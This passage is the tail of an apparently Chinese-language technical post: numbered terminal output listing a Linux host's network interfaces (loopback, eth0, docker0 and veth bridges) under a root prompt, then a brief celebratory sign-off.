29     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
30     inet 127.0.0.1/8 scope host lo
31         valid_lft forever preferred_lft forever
32     inet6 ::1/128 scope host
33         valid_lft forever preferred_lft forever
34 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP
    group default qlen 1000
35     link/ether 08:00:27:b8:ef:08 brd ff:ff:ff:ff:ff:ff
36     inet 192.168.0.178/24 brd 192.168.0.255 scope global eth0
37         valid_lft forever preferred_lft forever
38     inet6 fe80::a00:27ff:feb8:ef08/64 scope link
39         valid_lft forever preferred_lft forever
40 3: eth1: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default
    qlen 1000
41     link/ether 08:00:27:ac:94:08 brd ff:ff:ff:ff:ff:ff
42 4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    group default
43     link/ether 02:42:f2:8e:f0:b9 brd ff:ff:ff:ff:ff:ff
44     inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
45         valid_lft forever preferred_lft forever
46     inet6 fe80::42:f2ff:fe8e:f0b9/64 scope link
47         valid_lft forever preferred_lft forever
48 6: veth01e5a65: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
    master docker0 state UP group default
49     link/ether 86:08:e5:df:4c:20 brd ff:ff:ff:ff:ff:ff
50     inet6 fe80::8408:e5ff:fedf:4c20/64 scope link
51         valid_lft forever preferred_lft forever
52 8: veth31ce35c: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue
    master docker0 state UP group default
53     link/ether 26:3f:1e:1a:21:6a brd ff:ff:ff:ff:ff:ff
54     inet6 fe80::243f:1eff:fe1a:216a/64 scope link
55         valid_lft forever preferred_lft forever
56 #
```

完结，撒花~~~